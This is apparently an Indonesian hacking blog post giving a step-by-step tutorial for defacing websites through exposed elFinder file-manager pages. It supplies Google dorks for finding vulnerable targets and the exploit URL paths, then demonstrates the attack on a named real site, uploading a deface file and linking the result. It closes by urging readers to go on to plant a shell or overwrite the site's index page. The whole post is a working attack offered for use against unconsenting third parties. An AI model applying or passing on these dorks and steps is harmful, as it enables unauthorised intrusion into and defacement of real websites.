Deface dengan Teknik Elfinder

Eitaro Attacker | Blog - Assalamu'alaikum.Wr.Wb sobat bloggers, kali ini saya ingin berbagi salah satu teknik Deface website, bahan nya cukup sederhana yaitu Dork, exploit, file deface an kalian.



Ok Langsung saja :)

Ketikkan dork ini di kotak pencarian google untuk mencari target :

DORK Google : 
inurl:/elfinder/elfinder.php.html
inurl:/elfinder/files/

 Exploit:

http://site.com/[path]/elfinder/elfinder.html http://site.com/[path]/elfinder/elfinder.php.html http://site.com/[path]/elfinder/src/elfinder-src.php.html http://site.com/[path]/elfinder/elfinder.src.html http://site.com/[path]/elfinder/elfinder.html.sav

 

Contoh target yang saya temukan adalah http://yamaha-zigfrid.com.ua/var/ckeditor/

Kemudian masukkan exploitnya menjadi :
http://yamaha-zigfrid.com.ua/var/ckeditor/elfinder/elfinder.html
Kemudian buka, dan upload file defacean mu :)

Untuk melihat hasil upload, klik kanan filemu dan klik Get Info

Dan klik Link, Open new tab seperti gambar dibawah ini...

Hasilnya : http://yamaha-zigfrid.com.ua/var/upload/bona09.txt

Selesai, gampang bukan... :D untuk menanam shell, tebas index, atau hal apapun itu USE YOUR BRAIN :D sekian dan terimakasih... Jangan lupa komennn om..

 

 

 Sumber : Catatan Kecil Bona